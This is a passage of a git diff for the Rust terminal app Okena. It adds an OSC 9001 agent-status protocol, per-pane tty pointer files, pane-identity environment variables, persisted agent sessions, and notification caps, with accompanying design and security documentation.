+pub struct AgentStatusInfo {
+    /// `working` | `blocked` | `done` | `idle`.
+    pub lifecycle: String,
+    /// Free-form text the agent set, e.g. "running tests 3/5".
+    pub custom: Option<String>,
+}
+
+impl From<NativeAgentStatusInfo> for AgentStatusInfo {
+    fn from(s: NativeAgentStatusInfo) -> Self {
+        AgentStatusInfo {
+            lifecycle: s.lifecycle,
+            custom: s.custom,
+        }
+    }
+}
+
 /// Flat, FFI-friendly project info.
 #[derive(Debug, Clone, uniffi::Record)]
 pub struct ProjectInfo {
@@ -185,6 +204,7 @@ pub struct ProjectInfo {
     pub git_lines_removed: u32,
     pub services: Vec<ServiceInfo>,
     pub folder_color: String,
+    pub terminal_agent_status: HashMap<String, AgentStatusInfo>,
 }
 
 impl From<NativeProjectInfo> for ProjectInfo {
@@ -201,6 +221,11 @@ impl From<NativeProjectInfo> for ProjectInfo {
             git_lines_removed: p.git_lines_removed,
             services: p.services.into_iter().map(Into::into).collect(),
             folder_color: p.folder_color,
+            terminal_agent_status: p
+                .terminal_agent_status
+                .into_iter()
+                .map(|(id, status)| (id, status.into()))
+                .collect(),
         }
     }
 }
diff --git a/crates/okena-state/src/workspace_data.rs b/crates/okena-state/src/workspace_data.rs
index 5bbb75e68..34e61724b 100644
--- a/crates/okena-state/src/workspace_data.rs
+++ b/crates/okena-state/src/workspace_data.rs
@@ -248,6 +248,24 @@ pub struct ProjectData {
     /// Used to reconnect to persistent sessions across restarts
     #[serde(default)]
     pub service_terminals: HashMap<String, String>,
+    /// Per-terminal AI agent session (terminal_id -> session) captured in-band
+    /// via the agent-status OSC `lbl=`. Persisted so a pane can offer to resume
+    /// its agent (`claude --resume <id>`, …) after a restart. Harness-agnostic:
+    /// the session's `agent` field selects which harness resumes it.
+    #[serde(default)]
+    pub agent_sessions: HashMap<String, okena_core::agent_session::AgentSession>,
+    /// Sessions waiting to be resumed, keyed by the **layout path** of the pane
+    /// they belong to. Load-time only, never persisted.
+    ///
+    /// Without a session backend, restoring the workspace clears every terminal
+    /// id, which orphans [`agent_sessions`](Self::agent_sessions) — its keys are
+    /// exactly the ids being dropped. `validate_workspace_data` therefore
+    /// re-keys the surviving sessions onto their pane's layout path (stable
+    /// across that one load, since only the ids are cleared) and
+    /// `spawn_uninitialized_terminals` consumes each entry exactly once as it
+    /// gives the pane its new terminal id.
+    #[serde(skip)]
+    pub pending_agent_resumes: HashMap<Vec<usize>, okena_core::agent_session::AgentSession>,
     /// Per-project default shell (overrides global default when ShellType::Default is used)
     #[serde(default)]
     pub default_shell: Option<ShellType>,
@@ -366,6 +384,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-terminal/CLAUDE.md b/crates/okena-terminal/CLAUDE.md
index e8e807187..acff6c751 100644
--- a/crates/okena-terminal/CLAUDE.md
+++ b/crates/okena-terminal/CLAUDE.md
@@ -14,6 +14,97 @@ Wraps `alacritty_terminal` for ANSI processing and `portable-pty` for cross-plat
 | `backend.rs` | Terminal backend abstraction. |
 | `process.rs` | Process spawning utilities. |
 
+## OSC sequences (sidecar)
+
+`terminal/osc_sidecar.rs` is a side-channel VTE parser run on the same byte
+stream as the main processor, for sequences alacritty ignores or answers
+differently than Okena wants: `OSC 7` / `OSC 1337 CurrentDir` (cwd), `OSC 9` /
+`OSC 777` / `OSC 99` (notifications), `OSC 9;4` (progress), `OSC 133` (shell
+marks, via a separate prompt sidecar), and `XTVERSION`.
+
+### `OSC 9001` — agent status (Okena private)
+
+A **stable contract** other tools depend on (see `docs/agent-status.md`). An AI
+agent reports its own lifecycle by writing to its terminal:
+
+```
+ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; tid=<terminal-id> ] [ ; msg=<b64> ] [ ; lbl=<b64-json> ] ST
+```
+
+- `9001` is a private OSC number (not a standard sequence); keep it stable.
+- `msg`/`lbl` values are base64(UTF-8) so they stay `;`/`ST`-safe (the VTE parser
+  splits OSC params on `;`).
+- Unknown/missing `st` leaves the current status untouched; `clear` removes it.
+- Parsed into the canonical `okena_core::agent_status::AgentStatus`, stored on
+  `Terminal.agent_status` (runtime-only), read via `Terminal::agent_status()`.
+  `msg`/`lbl` are clamped on parse (`AgentStatus::new_clamped`) so a hostile pane
+  can't pin unbounded memory (custom ≤ a few KB, labels bounded) — mirrors the
+  OSC 99 caps.
+- `lbl=` reserves three keys — `agent`, `session_id`, `transcript_path`. With an
+  `agent` id + a UUID-shaped `session_id`, they're captured into a **sticky**
+  `okena_core::agent_session::AgentSession` on `Terminal.agent_session` (read via
+  `Terminal::agent_session()`). Unlike `agent_status` it survives `st=clear` —
+  and is captured on it, since a harness maps session start/end onto `clear`.
+  It's the pane's session identity for resume + transcript stats, persisted by
+  the app layer, and a change sets the `agent_session_dirty` edge (drained via
+  `take_agent_session_dirty`). Per-harness resume/transcript logic is dispatched
+  by `agent` id through the gpui-free `okena_core::agent_harness` registry
+  (impls live in `okena-agent-harnesses` — deliberately NOT the `okena-ext-*`
+  crates, which pull gpui and so cannot be linked by the headless daemon). A
+  non-UUID `session_id` is dropped, and `agent` / `transcript_path` are bounded
+  (see `agent_session.rs`) because they are the only agent-status fields that
+  reach disk. The three reserved keys are **stripped** from the display labels
+  after capture, so session identity never rides the wire to remote clients.
+- A change stores into the shared one-shot `remote_dirty` edge (drained via
+  `take_remote_dirty`), which the PTY event loop consumes
+  (`okena_daemon_core::pty_loop::drain_remote_dirty` — the daemon owns this
+  drain; the GUI mirror does not) to bump the remote `state_version`. This edge
+  is **generic**, not agent-specific: any runtime-only signal that remote
+  clients should see reuses it rather than adding its own changed-edge +
+  per-feature drain. A transition into `blocked`/`done` also queues a
+  `TerminalNotification` (reusing the OSC 9 notification path + focus
+  suppression).
+- `pty_manager.rs` exports three env vars into the pane at spawn. All go through
+  `launch_environment`, **not** `cmd.env()` after the fact: under a session
+  backend the spawned command is `sh -c "tmux new-session …"`, so a late
+  `cmd.env` lands on tmux rather than the pane's shell — and an already-running
+  tmux server's environment predates Okena entirely. `launch_environment` is
+  what gets rendered as tmux `-e KEY=VAL`.
+  - `OKENA_TTY` — the pane's slave pty path (portable-pty's `tty_name`, i.e.
+    reentrant `ttyname_r`; **not** `libc::ptsname`, whose static buffer races
+    concurrent terminal creation). Senders should **prefer** it over
+    `/dev/tty`: writing to the slave reaches Okena's own master reader, whereas
+    a hook's controlling terminal under tmux/screen is the *nested* pty, and
+    those forward only a fixed allowlist of OSC numbers that 9001 is not on.
+    It also covers processes with no controlling terminal at all — Claude Code
+    runs its hooks in a new session, so for those `/dev/tty` never resolves. It
+    is captured once at spawn and a pane can outlive the Okena that launched it,
+    so prefer `OKENA_TTY_FILE`; what contains the residual is `tid=` below.
+  - `OKENA_TTY_FILE` — path of a file holding that same device, rewritten by
+    `crate::tty_pointer` on **every** spawn and reattach and keyed by terminal
+    id. A pane's environment can never be updated after launch, so the fix is to
+    make the captured value a *stable path* whose contents move: the terminal id
+    survives a restart under a session backend, `/dev/pts/N` does not. Without
+    it, an agent that outlives an Okena restart writes its status into whichever
+    pane inherited its old pty number, where `tid=` silently drops it — the bug
+    this exists to fix. Published in `create_terminal_with_id`, revoked in
+    `enqueue_session_kill`, and swept at `PtyManager::new` (only pointers whose
+    device is gone, so a throwaway test manager can't disturb a live Okena).
+
+    **Security note:** unlike an inherited fd, a *path* can be reopened, and
+    Linux recycles `/dev/pts/N` numbers. Any process that outlives its pane (a
+    daemonized dev server, a forking postinstall) keeps a way to write into
+    whatever pane later inherits that number, and writes to a slave surface as
+    terminal *output* — i.e. they are parsed as escape sequences. Same-user, so
+    not a privilege boundary, but treat the var as a capability: `tid=` guards
+    OSC 9001 specifically, nothing else.
+  - `OKENA_TERMINAL_ID` — the pane's terminal id, echoed back as the OSC's
+    `tid=`. The sidecar drops a status whose `tid` isn't its own, which is what
+    contains the stale-`OKENA_TTY` failure mode above. Note the namespaces
+    differ: this is the daemon's **raw** id, while a client-side `Terminal` is
+    keyed `remote:{connection}:{raw}` — the sidecar matches the unprefixed
+    suffix. Omitted `tid` is accepted.
+
 ## Threading Model
 
 Three execution contexts access `Terminal`:
diff --git a/crates/okena-terminal/src/lib.rs b/crates/okena-terminal/src/lib.rs
index 9b1a0cbe1..c6347244f 100644
--- a/crates/okena-terminal/src/lib.rs
+++ b/crates/okena-terminal/src/lib.rs
@@ -10,6 +10,9 @@ pub mod pty_manager;
 pub mod session_backend;
 pub mod shell_config;
 pub mod terminal;
+/// Per-pane pointer to the pane's current slave pty (`$OKENA_TTY_FILE`).
+#[cfg(unix)]
+pub mod tty_pointer;
 
 use parking_lot::Mutex;
 use std::collections::HashMap;
diff --git a/crates/okena-terminal/src/pty_manager.rs b/crates/okena-terminal/src/pty_manager.rs
index 85e43a1a8..a4aa71393 100644
--- a/crates/okena-terminal/src/pty_manager.rs
+++ b/crates/okena-terminal/src/pty_manager.rs
@@ -532,6 +532,16 @@ impl PtyManager {
             log::warn!("failed to spawn dtach cleanup thread: {e}");
         }
 
+        // Drop tty pointers whose device died with a previous run. Backend-
+        // independent: every pane publishes one.
+        #[cfg(unix)]
+        if let Err(e) = std::thread::Builder::new()
+            .name("tty-pointer-gc".into())
+            .spawn(crate::tty_pointer::sweep_dead)
+        {
+            log::warn!("failed to spawn tty pointer cleanup thread: {e}");
+        }
+
         let teardown_tracker = Arc::new(TeardownTracker::default());
 
         // A distinct fixed pool waits for stubborn children. Unlike the normal
@@ -862,7 +872,55 @@ impl PtyManager {
             pixel_height: 0,
         })?;
 
-        let launch_environment = self.launch_environment(plan);
+        let mut launch_environment = self.launch_environment(plan);
+
+        // Okena's two pane-identity vars must reach the pane's *shell*, not just
+        // the outer command. Under a session backend the spawned command is
+        // `sh -c "tmux new-session …"`, so setting them on the CommandBuilder
+        // after the fact lands them on tmux — and when a tmux server is already
+        // running (the usual case after the first pane) the shell inherits the
+        // server's environment, which predates Okena entirely. Routing them
+        // through `launch_environment` is what renders them as tmux `-e KEY=VAL`;
+        // the loop below still applies them directly for the no-backend path.
+        // Okena owns these names, so drop any inherited value first.
+        launch_environment.retain(|(key, _)| {
+            key != "OKENA_TERMINAL_ID" && key != "OKENA_TTY" && key != "OKENA_TTY_FILE"
+        });
+        // Let anything in the pane name the pane it is running in. The
+        // agent-status OSC carries it back as `tid=`, which lets the receiving
+        // terminal reject a status meant for a different pane — the failure
+        // mode when a status is written to a recorded pty path that has since
+        // been recycled.
+        launch_environment.push((
+            "OKENA_TERMINAL_ID".to_string(),
+            Some(terminal_id.to_string()),
+        ));
+        // Expose the pane's slave pty so agent hooks can emit in-band status
+        // updates to it. That is the device senders must PREFER over
+        // `/dev/tty`: writing to the slave reaches Okena's own reader, whereas a
+        // hook's controlling terminal under tmux/screen is the nested pty, which
+        // forwards only a fixed allowlist of OSC numbers that 9001 is not on —
+        // and a harness that runs hooks in a new session has no controlling
+        // terminal at all.
+        //
+        // Two vars name it. `$OKENA_TTY` is the path itself, frozen in the
+        // pane's environment at first launch, so a pane that outlives Okena
+        // (any session backend) keeps naming the old pty forever.
+        // `$OKENA_TTY_FILE` points at a file holding the same path that is
+        // rewritten here on every spawn: stable enough to capture once, always
+        // current when read. Senders should prefer it; `tid=` above is what
+        // contains the residual, when even that is stale. See
+        // `crate::tty_pointer`.
+        #[cfg(unix)]
+        if let Some(path) = slave_pty_path(pair.master.as_ref()) {
+            if let Some(pointer) = crate::tty_pointer::publish(terminal_id, &path) {
+                launch_environment.push((
+                    "OKENA_TTY_FILE".to_string(),
+                    Some(pointer.to_string_lossy().into_owned()),
+                ));
+            }
+            launch_environment.push(("OKENA_TTY".to_string(), Some(path)));
+        }
 
         // Build command based on session backend and shell config
         #[cfg(unix)]
@@ -1482,6 +1540,11 @@ impl PtyManager {
         let session_backend = self.session_backend();
         let session_name = session_backend.session_name(terminal_id);
 
+        // The pane is going away for good — its pointer must not outlive it and
+        // name a pty number the next pane inherits.
+        #[cfg(unix)]
+        crate::tty_pointer::revoke(terminal_id);
+
         // Read WSL info before moving the handle
         #[cfg(windows)]
         let (wsl_distro, wsl_backend) =
@@ -2354,6 +2417,18 @@ fn first_proc_child(_pid: u32) -> Option<u32> {
     None
 }
 
+/// Resolve the slave device path for a pty master.
+///
+/// Uses portable-pty's cached name (resolved once via the reentrant
+/// `ttyname_r` at `openpty`) rather than `libc::ptsname`, which returns a
+/// pointer into a single static buffer — terminals are created without holding
+/// the `instances` lock, so two concurrent creations could read each other's
+/// path and hand a pane the wrong `$OKENA_TTY`.
+#[cfg(unix)]
+fn slave_pty_path(master: &dyn MasterPty) -> Option<String> {
+    Some(master.tty_name()?.to_string_lossy().into_owned())
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -2741,6 +2816,44 @@ mod tests {
         );
     }
 
+    /// A pane outlives the Okena that launched it, so its `$OKENA_TTY` goes
+    /// stale and an agent hook ends up writing status into whatever pane
+    /// inherited that pty number. The pointer file is what keeps the pane's
+    /// current device findable, so spawning must publish it and a session kill
+    /// must drop it — otherwise it names a number the next pane inherits.
+    #[cfg(unix)]
+    #[test]
+    fn terminal_publishes_and_revokes_its_tty_pointer() {
+        let (manager, _events) = PtyManager::new(SessionBackend::None);
+        let cwd = std::env::temp_dir().to_string_lossy().into_owned();
+        let plan = TerminalLaunchPlan {
+            route: ShellType::Default,
+            initial_command: Some(crate::backend::TerminalLaunchCommand {
+                program: "/bin/sh".to_string(),
+                args: vec!["-c".to_string(), "sleep 30".to_string()],
+            }),
+            environment: Vec::new(),
+        };
+        let terminal_id = manager
+            .create_terminal_with_plan(&cwd, &plan)
+            .expect("create PTY");
+
+        let pointer = crate::tty_pointer::path_for(&terminal_id).expect("pointer path");
+        let device = std::fs::read_to_string(&pointer).expect("pointer must be published");
+        let device = device.trim();
+        assert!(
+            std::path::Path::new(device).exists(),
+            "pointer must name the pane's live pty, got {device:?}"
+        );
+
+        manager.kill(&terminal_id);
+        assert!(
+            manager.flush_teardown_with_timeout(Duration::from_secs(5), &[]),
+            "teardown must complete"
+        );
+        assert!(!pointer.exists(), "pointer must not outlive the pane");
+    }
+
     #[derive(Default)]
     struct RecordingSink {
         published: Mutex<Vec<(String, Vec<u8>)>>,
diff --git a/crates/okena-terminal/src/session_backend.rs b/crates/okena-terminal/src/session_backend.rs
index 78facaa5d..cef101d82 100644
--- a/crates/okena-terminal/src/session_backend.rs
+++ b/crates/okena-terminal/src/session_backend.rs
@@ -1338,6 +1338,14 @@ fn active_profile_id() -> Option<String> {
         .or_else(|| std::env::var("OKENA_PROFILE").ok())
 }
 
+/// Profile-scoped runtime directory for Okena's per-pane files (dtach sockets,
+/// tty pointers). One directory per profile so two profiles never see each
+/// other's panes.
+#[cfg(unix)]
+pub(crate) fn okena_runtime_dir() -> std::path::PathBuf {
+    get_dtach_socket_dir()
+}
+
 fn get_dtach_socket_dir() -> std::path::PathBuf {
     // Keep the default profile in the legacy root so existing sessions survive
     // the profile migration. Every named profile gets an isolated socket pool.
diff --git a/crates/okena-terminal/src/terminal/meta.rs b/crates/okena-terminal/src/terminal/meta.rs
index 0a9383d0a..7adaaf04e 100644
--- a/crates/okena-terminal/src/terminal/meta.rs
+++ b/crates/okena-terminal/src/terminal/meta.rs
@@ -67,6 +67,83 @@ impl Terminal {
         *self.progress.lock()
     }
 
+    /// Latest agent status reported via the agent-status OSC (`OSC 9001`), or
+    /// `None` when no agent has reported one (or it was cleared). Read each
+    /// render to drive the per-tab indicator and the sidebar "Agents" section.
+    pub fn agent_status(&self) -> Option<okena_core::agent_status::AgentStatus> {
+        self.agent_status.lock().clone()
+    }
+
+    /// Adopt the agent status a remote snapshot reports for this terminal.
+    ///
+    /// A client parses `OSC 9001` from the live byte stream, but a snapshot
+    /// replays a *rendered grid* — the OSC that set the current status was
+    /// consumed long before, so a client that connects (or reconnects) mid-run
+    /// would otherwise show no agent until the next report, or keep showing a
+    /// status the daemon has since cleared.
+    ///
+    /// Deliberately not the parser path: it neither queues a notification nor
+    /// sets `remote_dirty` (this *is* remote state arriving, not local state to
+    /// push back). A snapshot is **replayed** state, so notifying off it would
+    /// re-raise the same bubble on every connect, reconnect, daemon restart and
+    /// sleep/resume. The flip side is a real gap: the desktop notification is
+    /// raised only by the client that parsed the transition live, so a
+    /// transition that happened while disconnected notifies nowhere. Owning that
+    /// edge properly means the daemon publishing an explicit agent-transition
+    /// event over the bridge — which would also give mobile one. Not done here.
+    ///
+    /// Goes through `new_clamped` rather than storing the deserialized value
+    /// directly: the caps are an invariant of the type, not of the parser, and
+    /// this is a second entry point for a value that arrives over the wire.
+    pub fn hydrate_agent_status(&self, status: Option<okena_core::agent_status::AgentStatus>) {
+        *self.agent_status.lock() = status.map(|status| {
+            okena_core::agent_status::AgentStatus::new_clamped(
+                status.lifecycle,
+                status.custom,
+                status.labels,
+            )
+        });
+    }
+
+    /// Consume the one-shot "remote-visible state changed since last drain"
+    /// edge. Returns true if anything marked it since the previous call, then
+    /// resets it. The PTY event loop uses this to bump the remote
+    /// `state_version` so remote / mobile clients re-fetch.
+    pub fn take_remote_dirty(&self) -> bool {
+        self.remote_dirty
+            .swap(false, std::sync::atomic::Ordering::Relaxed)
+    }
+
+    /// The durable agent session captured for this pane (`agent` + `session_id`
+    /// + optional `transcript_path`), or `None` if none has been reported.
+    ///
+    /// Unlike [`agent_status`](Self::agent_status) this is **sticky** — it
+    /// survives `st=clear` — since it's the identity used for resume + transcript
+    /// stats, persisted into `workspace.json` by the app layer.
+    pub fn agent_session(&self) -> Option<okena_core::agent_session::AgentSession> {
+        self.agent_session.lock().clone()
+    }
+
+    /// Whether the "agent session changed since last drain" edge is set, without
+    /// consuming it.
+    ///
+    /// The persist path peeks first and only consumes once the session has
+    /// actually been attributed to a project: attribution can fail (a hook or
+    /// service terminal, or a pane inside a soft-close grace window, is not in
+    /// any layout tree), and consuming there dropped the session permanently —
+    /// agents re-send the same identity on every status, so nothing re-arms it.
+    pub fn agent_session_dirty(&self) -> bool {
+        self.agent_session_dirty
+            .load(std::sync::atomic::Ordering::Relaxed)
+    }
+
+    /// Consume the one-shot "agent session changed since last drain" edge. The
+    /// PTY event loop uses this to persist the new session into `workspace.json`.
+    pub fn take_agent_session_dirty(&self) -> bool {
+        self.agent_session_dirty
+            .swap(false, std::sync::atomic::Ordering::Relaxed)
+    }
+
     /// Push the active theme palette so the event listener can answer
     /// OSC 10/11/12/4 color queries with real theme colors. Called from the
     /// render loop on every frame; writes are cheap and uncontested.
diff --git a/crates/okena-terminal/src/terminal/mod.rs b/crates/okena-terminal/src/terminal/mod.rs
index 40ba429b7..f67c540df 100644
--- a/crates/okena-terminal/src/terminal/mod.rs
+++ b/crates/okena-terminal/src/terminal/mod.rs
@@ -3,6 +3,8 @@ use alacritty_terminal::term::{Config as TermConfig, Term};
 use alacritty_terminal::vte::ansi::{
     CursorShape as VteCursorShape, CursorStyle as VteCursorStyle, Processor,
 };
+use okena_core::agent_session::AgentSession;
+use okena_core::agent_status::AgentStatus;
 use parking_lot::Mutex;
 use std::sync::Arc;
 use std::sync::atomic::{AtomicBool, AtomicU64};
@@ -206,6 +208,36 @@ pub struct Terminal {
     /// on `st=0`), GPUI reads via `progress`. GPUI thread only.
     pub(super) progress: Arc<Mutex<Option<TerminalProgress>>>,
 
+    /// Latest agent status reported via the agent-status OSC (`OSC 9001`), or
+    /// `None` when never set / cleared. `Arc` shared with `OscSidecar`: the
+    /// sidecar overwrites it on each sequence, GPUI reads via `agent_status`.
+    /// Runtime-only (never persisted). GPUI thread only.
+    pub(super) agent_status: Arc<Mutex<Option<AgentStatus>>>,
+
+    /// One-shot "remote-visible state changed since last drain" edge. `Arc`
+    /// shared with `OscSidecar`: any runtime-only signal whose change remote
+    /// clients should see (currently agent status, `OSC 9001`) stores into it,
+    /// and the PTY event loop consumes it via `take_remote_dirty` to bump the
+    /// remote `state_version` so remote / mobile clients re-fetch. Generic by
+    /// design — a new such signal (e.g. progress, `OSC 9;4`) sets this same flag
+    /// instead of growing its own changed-edge + per-feature drain in
+    /// `okena-app`. Mirrors `bell_pending`.
+    pub(super) remote_dirty: Arc<AtomicBool>,
+
+    /// Durable agent session captured from the agent-status OSC `lbl=` (`agent`
+    /// + `session_id` + `transcript_path`). `Arc` shared with `OscSidecar`.
+    ///
+    /// Unlike `agent_status` this is **sticky** — it survives `st=clear` —
+    /// because it's the pane's session identity used for resume + transcript
+    /// stats, and is persisted into `workspace.json` by the app layer (so,
+    /// unlike agent status, it is *not* runtime-only).
+    pub(super) agent_session: Arc<Mutex<Option<AgentSession>>>,
+
+    /// One-shot "agent session changed since last drain" edge, shared with
+    /// `OscSidecar`. Set when `agent_session` changes; the PTY event loop drains
+    /// it via `take_agent_session_dirty` to persist the new session.
+    pub(super) agent_session_dirty: Arc<AtomicBool>,
+
     /// Per-renderer focus state for DEC focus reports. A terminal can appear
     /// in multiple windows, so focus reports are derived from the aggregate
     /// instead of whichever view rendered last.
@@ -400,10 +432,18 @@ impl Terminal {
         let reported_cwd = Arc::new(Mutex::new(None));
         let pending_notifications = Arc::new(Mutex::new(Vec::new()));
         let progress = Arc::new(Mutex::new(None));
+        let agent_status = Arc::new(Mutex::new(None));
+        let remote_dirty = Arc::new(AtomicBool::new(false));
+        let agent_session = Arc::new(Mutex::new(None));
+        let agent_session_dirty = Arc::new(AtomicBool::new(false));
         let osc_sidecar = Mutex::new(OscSidecar::new(
             reported_cwd.clone(),
             pending_notifications.clone(),
             progress.clone(),
+            agent_status.clone(),
+            remote_dirty.clone(),
+            agent_session.clone(),
+            agent_session_dirty.clone(),
             transport.clone(),
             terminal_id.clone(),
         ));
@@ -435,6 +475,10 @@ impl Terminal {
             reported_cwd,
             pending_notifications,
             progress,
+            agent_status,
+            remote_dirty,
+            agent_session,
+            agent_session_dirty,
             focus_report_state: Mutex::new(FocusReportState::default()),
             osc_sidecar,
             prompt_sidecar: Mutex::new(PromptSidecar::new()),
diff --git a/crates/okena-terminal/src/terminal/osc_sidecar.rs b/crates/okena-terminal/src/terminal/osc_sidecar.rs
index 053bccc24..a35ff45a2 100644
--- a/crates/okena-terminal/src/terminal/osc_sidecar.rs
+++ b/crates/okena-terminal/src/terminal/osc_sidecar.rs
@@ -1,8 +1,11 @@
 use alacritty_terminal::vte::Perform;
 use base64::Engine as _;
+use okena_core::agent_session::{AgentSession, RESERVED_LABEL_KEYS};
+use okena_core::agent_status::{AgentLifecycle, AgentStatus};
 use parking_lot::Mutex;
 use std::collections::HashMap;
 use std::sync::Arc;
+use std::sync::atomic::{AtomicBool, Ordering};
 
 use super::app_version::app_version;
 use super::transport::TerminalTransport;
@@ -34,6 +37,15 @@ pub struct TerminalNotification {
 const OSC99_MAX_FIELD_LEN: usize = 4096;
 const OSC99_MAX_PENDING: usize = 32;
 
+/// Cap on notifications queued but not yet drained by the GPUI thread.
+///
+/// The consumer spawns a thread per bubble and, on XDG, blocks it until the
+/// bubble is dismissed or times out — with no bound of its own. A pane can
+/// queue one notification per ~22 bytes of output (`OSC 9`, or an agent status
+/// flipping blocked/done), so a single 256 KiB drain could ask for thousands of
+/// threads. Nobody can read more than a handful anyway; keep the newest.
+const MAX_PENDING_NOTIFICATIONS: usize = 32;
+
 /// Reassembly buffer for a chunked `OSC 99` notification keyed by its `i=` id.
 #[derive(Default)]
 struct Osc99Accumulator {
@@ -52,10 +64,15 @@ pub(crate) struct OscSidecar {
 }
 
 impl OscSidecar {
+    #[allow(clippy::too_many_arguments)]
     pub(super) fn new(
         reported_cwd: Arc<Mutex<Option<String>>>,
         pending_notifications: Arc<Mutex<Vec<TerminalNotification>>>,
         progress: Arc<Mutex<Option<TerminalProgress>>>,
+        agent_status: Arc<Mutex<Option<AgentStatus>>>,
+        remote_dirty: Arc<AtomicBool>,
+        agent_session: Arc<Mutex<Option<AgentSession>>>,
+        agent_session_dirty: Arc<AtomicBool>,
         transport: Arc<dyn TerminalTransport>,
         terminal_id: String,
     ) -> Self {
@@ -65,6 +82,10 @@ impl OscSidecar {
                 reported_cwd,
                 pending_notifications,
                 progress,
+                agent_status,
+                remote_dirty,
+                agent_session,
+                agent_session_dirty,
                 transport,
                 terminal_id,
                 osc99_pending: HashMap::new(),
@@ -86,6 +107,24 @@ struct SidecarPerform {
     /// `None` when cleared (`st=0`). Overwritten on each progress sequence and
     /// read by the GPUI thread via `Terminal::progress`.
     progress: Arc<Mutex<Option<TerminalProgress>>>,
+    /// Latest agent status reported via the agent-status OSC, or `None` when
+    /// never set / cleared (`st=clear`). Overwritten on each sequence and read
+    /// by the GPUI thread via `Terminal::agent_status`.
+    agent_status: Arc<Mutex<Option<AgentStatus>>>,
+    /// One-shot "remote-visible state changed since last drain" edge, shared
+    /// with `Terminal`. Set whenever a runtime-only signal here changes state
+    /// remote clients should see (currently agent status), consumed by the PTY
+    /// event loop (`take_remote_dirty`) to bump the remote `state_version` so
+    /// remote / mobile clients re-fetch. Generic by design — not agent-specific.
+    /// Mirrors `bell_pending`.
+    remote_dirty: Arc<AtomicBool>,
+    /// Sticky agent session identity (`agent` + `session_id` + `transcript_path`)
+    /// captured from the `lbl=` of an agent-status OSC. Unlike `agent_status`
+    /// it survives `st=clear`; the app layer persists it for resume + stats.
+    agent_session: Arc<Mutex<Option<AgentSession>>>,
+    /// One-shot edge set when `agent_session` changes; drained by the PTY event
+    /// loop to persist the session. Mirrors `remote_dirty`.
+    agent_session_dirty: Arc<AtomicBool>,
     transport: Arc<dyn TerminalTransport>,
     terminal_id: String,
     /// In-progress `OSC 99` notifications keyed by `i=` id, awaiting their
@@ -94,6 +133,22 @@ struct SidecarPerform {
 }
 
 impl SidecarPerform {
+    /// Queue a desktop notification, bounding the backlog.
+    ///
+    /// Every `OSC 9` / `OSC 777` / `OSC 99` / agent-status notification goes
+    /// through here so the cap lives on the sink rather than on each emitter —
+    /// otherwise every new emitter has to remember it, and the newest one
+    /// (agent status) is also the easiest to drive.
+    fn queue_notification(&self, notification: TerminalNotification) {
+        let mut queue = self.pending_notifications.lock();
+        if queue.len() >= MAX_PENDING_NOTIFICATIONS {
+            // Drop-oldest: a backlog this deep is a flood, and the most recent
+            // state is the one worth showing.
+            queue.remove(0);
+        }
+        queue.push(notification);
+    }
+
     /// Handle the kitty notification protocol: `OSC 99 ; metadata ; payload`.
     ///
     /// `metadata` is colon-separated `key=value` pairs (ASCII). We care about:
@@ -204,7 +259,7 @@ impl SidecarPerform {
         } else {
             return; // nothing to show
         };
-        self.pending_notifications.lock().push(notification);
+        self.queue_notification(notification);
     }
 
     /// Handle the ConEmu / Windows Terminal progress protocol
@@ -262,6 +317,238 @@ impl SidecarPerform {
             _ => return,
         };
     }
+
+    /// Handle Okena's agent-status protocol
+    /// `OSC 9001 ; st=<state> [; msg=<b64>] [; lbl=<b64-json>]`.
+    ///
+    /// An AI coding agent (or a thin hook) pushes its own lifecycle here:
+    /// - `st=working|blocked|done|idle` sets the lifecycle.
+    /// - `st=clear` removes the status entirely.
+    /// - `msg=` carries base64(UTF-8) free-form text (e.g. "running tests 3/5").
+    /// - `lbl=` carries base64 of a flat JSON `{"k":"v"}` object of extras.
+    ///
+    /// `msg`/`lbl` are base64-encoded so their values stay `;`/ST-safe (the VTE
+    /// parser splits OSC params on `;`). A missing or unknown `st` leaves the
+    /// current status untouched — a malformed sequence can never panic or
+    /// spuriously clear an active status.
+    ///
+    /// On a transition *into* a notifying state (`blocked` / `done`) a
+    /// [`TerminalNotification`] is queued so the GPUI layer raises a desktop
+    /// notification — reusing the same drain + focused-pane suppression as
+    /// `OSC 9` notifications.
+    fn handle_agent_status(&mut self, params: &[&[u8]]) {
+        // params[0] is the OSC number; the rest are `key=value` pairs.
+        let mut st: Option<&str> = None;
+        let mut msg_b64: Option<&str> = None;
+        let mut lbl_b64: Option<&str> = None;
+        let mut tid: Option<&str> = None;
+        for kv in &params[1..] {
+            let Ok(s) = std::str::from_utf8(kv) else {
+                continue;
+            };
+            let mut it = s.splitn(2, '=');
+            let key = it.next().unwrap_or("").trim();
+            let val = it.next().unwrap_or("").trim();
+            match key {
+                "st" => st = Some(val),
+                "msg" => msg_b64 = Some(val),
+                "lbl" => lbl_b64 = Some(val),
+                "tid" => tid = Some(val),
+                _ => {}
+            }
+        }
+
+        // A sender that knows which pane it belongs to (via `$OKENA_TERMINAL_ID`)
+        // stamps it here. Reject a mismatch: a process holding a recorded pty
+        // path across a reattach can end up writing into a pane that path now
+        // belongs to, and silently driving another agent's indicator is worse
+        // than showing nothing. `tid` is optional — senders that omit it (and
+        // anything predating it) are still accepted.
+        if let Some(tid) = tid
+            && !self.addresses_this_pane(tid)
+        {
+            log::debug!(
+                "agent-status[{}]: dropping status addressed to {tid:?}",
+                self.terminal_id
+            );
+            return;
+        }
+
+        let Some(st) = st else {
+            log::debug!(
+                "agent-status[{}]: OSC 9001 with no st= field — ignored",
+                self.terminal_id
+            );
+            return; // no state field — nothing to do
+        };
+
+        // Decode the agent-supplied fields BEFORE taking the lock — base64 of a
+        // hostile multi-MB payload must not run while holding `agent_status`.
+        let mut labels = lbl_b64
+            .and_then(decode_osc_base64)
+            .map(|json| okena_core::agent_status::parse_labels_json(&json))
+            .unwrap_or_default();
+
+        // Durable session capture (resume + transcript stats). The `agent` +
+        // `session_id` labels are the pane's *sticky* session identity, NOT part
+        // of the ephemeral status — record them on a separate field that
+        // survives `st=clear`, so the pane can later offer to resume or show
+        // stats. Read from the RAW label map: `new_clamped` below keeps only the
+        // lowest `MAX_LABELS` keys and truncates values, so reading the reserved
+        // keys after it would let a label flood hide a valid session (and a long
+        // path be silently cut).
+        //
